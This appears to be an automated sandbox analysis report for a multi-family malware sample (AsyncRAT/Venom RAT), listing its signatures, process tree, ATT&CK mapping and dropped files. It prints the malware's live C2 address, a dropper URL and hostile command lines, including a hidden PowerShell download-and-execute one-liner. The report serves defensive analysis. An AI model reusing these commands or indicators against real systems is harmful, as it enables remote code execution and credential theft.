Overview

overview

10

Static

static

5

2026-08-25...at.exe

windows10-2004-x64

10

2026-08-25...at.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    26/08/2026, 16:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
  • Size 24.6MB
  • Sample260826-t5wasaserc
  • SHA256 137042c3c5fa04a3e80d5b569bde552d5a814925703046c1f6e91f4a4acf604e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
bootkitpwdefense_evasiondiscoveryexecutionasyncratinstallerpersistenceprivilege_escalationratspywarestealertrojanupx

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://codeberg.org/sabifati2/2/raw/branch/main/ttmyheard.txt

Extracted

Family

  • asyncrat

Version

  • Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

  • PW

C2

  • 82.165.179.9:4449

Mutex

  • jxmrhradecyp

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Detects executables attemping to enumerate video devices using WMI 1 IoCs
  • UPX dump on OEP (original entry point) 5 IoCs
  • Badlisted process makes network request 64 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 1 IoCs
  • Uses Session Manager for persistence 2 TTPs 1 IoCs

    Creates Session Manager registry key to run executable early in system boot.

    persistence
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 6 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies system executable filetype association 2 TTPs 6 IoCs
    persistence
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

    Inno Setup installer

    installer
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 34 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3144
    • C:\Users\Admin\AppData\Local\Temp\wrk\p1.bin
      C:\Users\Admin\AppData\Local\Temp\wrk\p1.bin
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Program Files (x86)\Common Files\~nnnreba.tmp
        "C:\Program Files (x86)\Common Files\~nnnreba.tmp" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP- /LOADINF="C:\Program Files (x86)\Common Files\~gzmrqma.tmp"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3996
        • C:\Users\Admin\AppData\Local\Temp\is-9O410.tmp\~nnnreba.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-9O410.tmp\~nnnreba.tmp" /SL5="$90276,22086340,67072,C:\Program Files (x86)\Common Files\~nnnreba.tmp" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP- /LOADINF="C:\Program Files (x86)\Common Files\~gzmrqma.tmp"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3244
          • C:\Windows\SysWOW64\regsvr32.exe
            "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Glary Utilities\x64\ContextHandler.dll"
            5⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1816
            • C:\Windows\system32\regsvr32.exe
              /s "C:\Program Files (x86)\Glary Utilities\x64\ContextHandler.dll"
              6⤵
              • Loads dropped DLL
              • Modifies system executable filetype association
              • Modifies registry class
              PID:4024
          • C:\Windows\SysWOW64\regsvr32.exe
            "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Glary Utilities\GridMap.ocx"
            5⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            PID:4772
          • C:\Program Files (x86)\Glary Utilities\x64\GUAssistComSvc.exe
            "C:\Program Files (x86)\Glary Utilities\x64\GUAssistComSvc.exe" /RegServer
            5⤵
            • Executes dropped EXE
            • Modifies registry class
            PID:4896
          • C:\Program Files (x86)\Glary Utilities\DiskDefrag.exe
            "C:\Program Files (x86)\Glary Utilities\DiskDefrag.exe" -InstallNative
            5⤵
            • Uses Session Manager for persistence
            • Executes dropped EXE
            • Loads dropped DLL
            • Enumerates connected drives
            • Writes to the Master Boot Record (MBR)
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2808
          • C:\Program Files (x86)\Glary Utilities\StartupManager.exe
            "C:\Program Files (x86)\Glary Utilities\StartupManager.exe" -install
            5⤵
            • Drops file in Drivers directory
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:984
            • C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe
              "C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe" /Service
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1824
          • C:\Program Files (x86)\Glary Utilities\GUPMService.exe
            "C:\Program Files (x86)\Glary Utilities\GUPMService.exe" /Service
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            PID:4644
          • C:\Program Files (x86)\Glary Utilities\procmgr.exe
            "C:\Program Files (x86)\Glary Utilities\procmgr.exe" -guupdate
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks whether UAC is enabled
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1372
          • C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe
            "C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe" -RegServer
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3856
          • C:\Windows\SysWOW64\schtasks.exe
            "schtasks.exe" /Delete /F /TN "GU5SkipUAC"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1784
          • C:\Program Files (x86)\Glary Utilities\Initialize.exe
            "C:\Program Files (x86)\Glary Utilities\Initialize.exe" /setupschedule /installinit productid=15 productname="Glary Utilities Pro"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks whether UAC is enabled
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2584
            • C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe
              "C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:3404
            • C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe
              "C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe" /Service
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4624
          • C:\Windows\SysWOW64\regedit.exe
            "C:\Windows\regedit.exe" /S "C:\Program Files (x86)\Common Files\settings.reg"
            5⤵
            • System Location Discovery: System Language Discovery
            • Runs .reg file with regedit
            PID:536
    • C:\Users\Admin\AppData\Local\Temp\wrk\p2.bin
      C:\Users\Admin\AppData\Local\Temp\wrk\p2.bin
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3816
      • C:\ProgramData\setup.exe
        "C:\ProgramData\setup.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4580
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -exec bypass -file "C:\Users\Public\Settings\A\News\win.ps1"
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1408
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -windowstyle hidden -exec bypass -file "C:\Users\Public\Settings\A\News\win.ps1"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1544
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\ShellNew\dfr\fonts.js"
          4⤵
          • Badlisted process makes network request
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4868
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main.bat" "
            5⤵
            • Creates a file in the Startup directory
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            PID:2952
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\windowsdefender.js"
          4⤵
          • Badlisted process makes network request
          • Creates a file in the Startup directory
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:1784
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.vbs"
          4⤵
          • Checks computer location settings
          • Executes a VBScript file via the Windows Script Host.
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2492
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://codeberg.org/sabifati2/2/raw/branch/main/ttmyheard.txt')"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1468
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2484
          • C:\Windows\SysWOW64\xcopy.exe
            "C:\Windows\System32\xcopy.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dfl.vbs*"
            5⤵
            • Creates a file in the Startup directory
            • System Location Discovery: System Language Discovery
            • Enumerates system info in registry
            PID:2224
  • C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe
    "C:\Program Files (x86)\Common Files\Glarysoft\StartupManager\1.0\GUBootService.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:1436
  • C:\Windows\System32\drivers\GUBootStartup.sys
    C:\Windows\System32\drivers\GUBootStartup.sys
    1⤵
    • Executes dropped EXE
    PID:2368
  • C:\Program Files (x86)\Glary Utilities\GUPMService.exe
    "C:\Program Files (x86)\Glary Utilities\GUPMService.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:2596
  • C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe
    "C:\Program Files (x86)\Glary Utilities\x64\MemfilesService.exe" -Svc
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:4856
  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\windowsdefender.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\SysWOW64\cscript.exe
      "C:\Windows\SysWOW64\cscript.exe" /e:jscript "C:\ProgramData\windowsdefender.js"
      2⤵
      • Badlisted process makes network request
      • Creates a file in the Startup directory
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      PID:1604

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        4
        T1059

        JavaScript

        1
        T1059.007

        PowerShell

        1
        T1059.001

        Visual Basic

        1
        T1059.005

        Windows Command Shell

        1
        T1059.003

        Persistence

        Boot or Logon Autostart Execution

        3
        T1547

        Registry Run Keys / Startup Folder

        3
        T1547.001

        Event Triggered Execution

        2
        T1546

        Change Default File Association

        1
        T1546.001

        Component Object Model Hijacking

        1
        T1546.015

        Pre-OS Boot

        1
        T1542

        Bootkit

        1
        T1542.003

        Privilege Escalation

        Boot or Logon Autostart Execution

        3
        T1547

        Registry Run Keys / Startup Folder

        3
        T1547.001

        Event Triggered Execution

        2
        T1546

        Change Default File Association

        1
        T1546.001

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        3
        T1112

        Pre-OS Boot

        1
        T1542

        Bootkit

        1
        T1542.003

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        2
        T1552

        Credentials In Files

        2
        T1552.001

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        4
        T1012

        System Information Discovery

        5
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Data from Local System

        2
        T1005

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ~gzmrqma.tmp
        • Path C:\Program Files (x86)\Common Files\~gzmrqma.tmp
        • Size 135B
        • SHA256 4532512bab4aeda75d6568d4ab116934a36481f961b6f34e63c950ae9833e4c4
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        BottDefrag.dll
        • Path C:\Program Files (x86)\Glary Utilities\BottDefrag.dll
        • Size 52KB
        • SHA256 dfd8f6deb40f56ac7d5b0430ddff1bc488ae8fada36871fe8841a8a355fb6654
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        CheckUpdate.dll
        • Path C:\Program Files (x86)\Glary Utilities\CheckUpdate.dll
        • Size 1.1MB
        • SHA256 2ab75f316be6031d46f27d04f7f30f86de1c887030e126da2b404374a85e00a3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Config.dll
        • Path C:\Program Files (x86)\Glary Utilities\Config.dll
        • Size 41KB
        • SHA256 16fea135c5ddcba2201fd1406ac07ce8f588ffb94d17632c97391eb8fc8c9c9d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        CrashReport.dll
        • Path C:\Program Files (x86)\Glary Utilities\CrashReport.dll
        • Size 300KB
        • SHA256 f04522ef7b432b026f22ad8dff3abdd03d06ef795c95885897bc0f36c8d79744
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        DiskDefrag.exe
        • Path C:\Program Files (x86)\Glary Utilities\DiskDefrag.exe
        • Size 998KB
        • SHA256 277c171d4a57065c5d7a9c2116ab04faaf0765aac23269473818507ec6787567
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        GUWndManager.dll
        • Path C:\Program Files (x86)\Glary Utilities\GUWndManager.dll
        • Size 111KB
        • SHA256 87f5c7eb0935909bd533bf61b481c9bfa2bd5415b350f64a31b0fd4d42778335
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        GridMap.ocx
        • Path C:\Program Files (x86)\Glary Utilities\GridMap.ocx
        • Size 161KB
        • SHA256 65293604b2f7d9b9a9946724a1e0769ac4454453dfdb4ff491db1710e778159f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Integrator.exe
        • Path C:\Program Files (x86)\Glary Utilities\Integrator.exe
        • Size 914KB
        • SHA256 27e64ee70ce87c5254ca6155fa33c90963da42e86960e71e9789e33513094266
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Log.dll
        • Path C:\Program Files (x86)\Glary Utilities\Log.dll
        • Size 132KB
        • SHA256 976545a126252006fa85609f037f4841aed5877a2f394bb977fefb4bb5a85bce
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MachineCode.dll
        • Path C:\Program Files (x86)\Glary Utilities\MachineCode.dll
        • Size 346KB
        • SHA256 a58f39e4489951a428970705eb8b722dbd965e905796f67bd3dd261eda024ec1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ObjectAdmin.dll
        • Path C:\Program Files (x86)\Glary Utilities\ObjectAdmin.dll
        • Size 80KB
        • SHA256 91afc0b292b9826685881f528adc9698a8158b4a6d1e20cbd0662b705685bfc7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Register.dll
        • Path C:\Program Files (x86)\Glary Utilities\Register.dll
        • Size 575KB
        • SHA256 1f7a452eba7e816b836b800d6656f1d34cba0c7c80fab5e0faa741cabbd2b345
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        RestoreCenter.dll
        • Path C:\Program Files (x86)\Glary Utilities\RestoreCenter.dll
        • Size 354KB
        • SHA256 dadac864f5f3109bafa3dbe935ea618ffdc44c54ae4b011c4f4ae93a70dc7ccf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ShortcutFixer.dll
        • Path C:\Program Files (x86)\Glary Utilities\ShortcutFixer.dll
        • Size 59KB
        • SHA256 0574bb4e656913d2ed30142038beecc5af3641bb53a89b977dc7b1e2b7466128
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        SkinsManager.dll
        • Path C:\Program Files (x86)\Glary Utilities\SkinsManager.dll
        • Size 273KB
        • SHA256 fb799f688c99e7237768d09c6138923529393ce4e1fd104ddbca4835a05239b3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupManager.dll
        • Path C:\Program Files (x86)\Glary Utilities\StartupManager.dll
        • Size 2.0MB
        • SHA256 0994de6ee91ec6736fc9227005a3cfdd99301259c623dbd7a15def5147208647
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupManager.exe
        • Path C:\Program Files (x86)\Glary Utilities\StartupManager.exe
        • Size 225KB
        • SHA256 42c5c5f7fb80da4cb19cef8094b035fe2fcaa279f04df7575cb1038860574f9d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        backup.ini
        • Path C:\Program Files (x86)\Glary Utilities\data\backup.ini
        • Size 3KB
        • SHA256 726d3285a587967001e22d40b3cfb82627070366b27a3006fef01b25c2319ecb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        gulr.dat
        • Path C:\Program Files (x86)\Glary Utilities\data\gulr.dat
        • Size 670B
        • SHA256 2a08f0767db523089cbfa354d5043445c7c4b09b866b5bb95505e3faf8fe6ffc
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        languages.dll
        • Path C:\Program Files (x86)\Glary Utilities\languages.dll
        • Size 53KB
        • SHA256 6b10b46097b94afddf4b5bae44a47b0fb0e9443c0c28f5fcd91c8bbc1c9c6c56
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        english.lng
        • Path C:\Program Files (x86)\Glary Utilities\languages\english.lng
        • Size 271KB
        • SHA256 0be1f2ebf2d10f08b7c7e14a17a1cfc581c324b50976c924b603cbb115e4ad15
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        settings.ini
        • Path C:\Program Files (x86)\Glary Utilities\settings.ini
        • Size 46B
        • SHA256 af4c3b39f0580a5b68e402a13dd0e0e506055126e76c327adffb6ab8404dfc97
        • MD5 SHA1 SHA512
        Submit Download

        is-TJQ81.tmp
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\Register\is-TJQ81.tmp
        • Size 1KB
        • SHA256 b134e90bc4ab7f6a36348b11d7807640d5db4f730a24c1597373d35a4a26b3dd
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        skin.ini
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\Register\skin.ini
        • Size 33KB
        • SHA256 8212a480a315efe8fdeaa1bdcf40c509059a84acb37b5d62203943e2a55a20b7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        is-R8UPL.tmp
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\StartupManager\is-R8UPL.tmp
        • Size 1KB
        • SHA256 dc33a17e39148ee12dd7014298338a7000d231f1025fe61c8b22f147cfd8c754
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        is-03TI5.tmp
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\TracksEraser\is-03TI5.tmp
        • Size 2KB
        • SHA256 50ab0f67d0474b103f56be703f5293e71c2a700edd9acfb9eecd0d2db8151325
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        is-LVMFA.tmp
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\TracksEraser\is-LVMFA.tmp
        • Size 2KB
        • SHA256 a11edde4d7257919c4f401593ef5d99dd6e2914e431bb05932ada9bb71752675
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        is-OKDRG.tmp
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\TracksEraser\is-OKDRG.tmp
        • Size 2KB
        • SHA256 ff5c7b8aaea7e51d0254491948150008f8adaad7078476b21b69c3fe0b291539
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        is-TMBHQ.tmp
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\TracksEraser\is-TMBHQ.tmp
        • Size 2KB
        • SHA256 b6fff8e5f625690dd506d04325aea740722e07bd791a3eb564aa47f7fb497815
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        skin.ini
        • Path C:\Program Files (x86)\Glary Utilities\skins\default\common\skin.ini
        • Size 6KB
        • SHA256 c4180756c92472b90b177fea950228d51bb29949f6dde0672f7aeae8e1789980
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ContextHandler.dll
        • Path C:\Program Files (x86)\Glary Utilities\x64\ContextHandler.dll
        • Size 91KB
        • SHA256 5706048b89a2a027c668e34e9c24b05e40fc17d4316caa4bedc05230c1409706
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        GUAssistComSvc.exe
        • Path C:\Program Files (x86)\Glary Utilities\x64\GUAssistComSvc.exe
        • Size 149KB
        • SHA256 1ddcd3cf1430119061a52ead6922447f2818860f3552e02bba85c172d491a2f7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        zlib1.dll
        • Path C:\Program Files (x86)\Glary Utilities\zlib1.dll
        • Size 92KB
        • SHA256 7bf3f3bd2d06abc8ce49b3b5469202976142939fc40cb6250d997b6bab3288a7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dfl.vbs
        • Path C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.vbs
        • Size 1KB
        • SHA256 ee237555a4d7ab93bfb469f93b38713ccc8d6548ca6d38d9a0d5988e1972c1b1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        win.ps1
        • Path C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\Settings\A\News\win.ps1
        • Size 106KB
        • SHA256 aa473b497f678fa03231fd55cd7c93467a26223f58f05581f59d4a81abd50152
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        DiagPackage.dll.mui
        • Path C:\ProgramData\diag fix\system\Audio\Prefetch\DiagPackage.dll.mui
        • Size 9KB
        • SHA256 b07cfffb57172a40a388f8f38817301c5b81a6a87a849b210e45eed60d0a36cf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        CL_LocalizationData.psd1
        • Path C:\ProgramData\diag fix\system\Audio\ShellNew\CL_LocalizationData.psd1
        • Size 3KB
        • SHA256 82d59d69833c45c7b6a73b95bc2a878a59fdc849fd76aff21d8c268ee024d738
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        DiagPackage.dll.mui
        • Path C:\ProgramData\diag fix\system\Audio\ShellNew\DiagPackage.dll.mui
        • Size 8KB
        • SHA256 64eb9b75083ff881602ad48de5795e519c98de84029c2846bcfc857644a64c47
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        CL_LocalizationData.psd1
        • Path C:\ProgramData\diag fix\system\BITS\Prefetch\CL_LocalizationData.psd1
        • Size 3KB
        • SHA256 00a6c19fc0e6bc0d9da94c3ee1fa3628672ff8d2211d7d5ac8b297feb7aed670
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        setup.exe
        • Path C:\ProgramData\setup.exe
        • Size 542KB
        • SHA256 85ee17c78f0cd5b5bcb5c1e4bbbef48aeee176ffa0e8576344b28192b3bd3dc7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_hbt3b5e1.iqf.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hbt3b5e1.iqf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        aut8CDA.tmp
        • Path C:\Users\Admin\AppData\Local\Temp\aut8CDA.tmp
        • Size 22.5MB
        • SHA256 2a179b4b13dff8b93574e71f9f730f1a8824199aa85f6d28c8408786e1eb3a0e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        aut9FF4.tmp
        • Path C:\Users\Admin\AppData\Local\Temp\aut9FF4.tmp
        • Size 21.4MB
        • SHA256 187cc33820d1d99cb98e680a07794d37ce3bf9d08774b453fccdf8c3d82052f0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ~nnnreba.tmp
        • Path C:\Users\Admin\AppData\Local\Temp\is-9O410.tmp\~nnnreba.tmp
        • Size 913KB
